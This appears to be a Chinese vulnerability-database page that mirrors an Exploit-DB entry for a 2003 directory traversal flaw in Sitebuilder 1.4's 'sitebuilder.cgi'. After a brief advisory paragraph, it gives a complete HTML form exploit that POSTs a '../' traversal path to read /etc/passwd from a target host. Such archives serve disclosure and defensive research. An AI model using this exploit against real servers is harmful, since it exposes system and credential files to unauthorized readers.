Sitebuilder 1.4 – ‘sitebuilder.cgi’ Directory Traversal-安全小百科

Sitebuilder 1.4 – ‘sitebuilder.cgi’ Directory Traversal

漏洞ID	1054128	漏洞类型
发布时间	2003-09-01	更新时间	2003-09-01
CVE编号	N/A	CNNVD-ID	N/A
漏洞平台	CGI	CVSS评分	N/A

|漏洞来源

https://www.exploit-db.com/exploits/23085

|漏洞详情

漏洞细节尚未披露

|漏洞EXP

source: http://www.securityfocus.com/bid/8521/info

Sitebuilder is said to be prone to a directory traversal vulnerability, potentially allowing users to disclose the contents of system files. The problem occurs due to the application failing to parse user-supplied input for directory traversal sequences (../) supplied to the 'sitebuilder.cgi' script, thus making it possible to access files outside of the established web root. 

<html><body><p><center>
<b>Mein 31337 Exploit :-P</b><br>
<form action="http://targethost.com/cgi-bin/sbcgi/sitebuilder.cgi"
method=POST>
<input type="hidden" name="username" value="targetuser">
<input type="hidden" name="password" value="targetpassword">
<input type="hidden" name="selectedpage"
value="../../../../../../../../../../etc/passwd">
<p><input type="submit" name="action" value="Yes - Use Advanced Editor">
<p><input type="submit" value="Return to Site Builder">
</form>
</center></body></html>

相关推荐: Twilight WebServer GET Request Buffer Overflow Vulnerability

Twilight WebServer GET Request Buffer Overflow Vulnerability 漏洞ID 1099824 漏洞类型 Boundary Condition Error 发布时间 2003-07-14 更新时间 2003-…

文章版权归作者所有，未经允许请勿转载。

THE END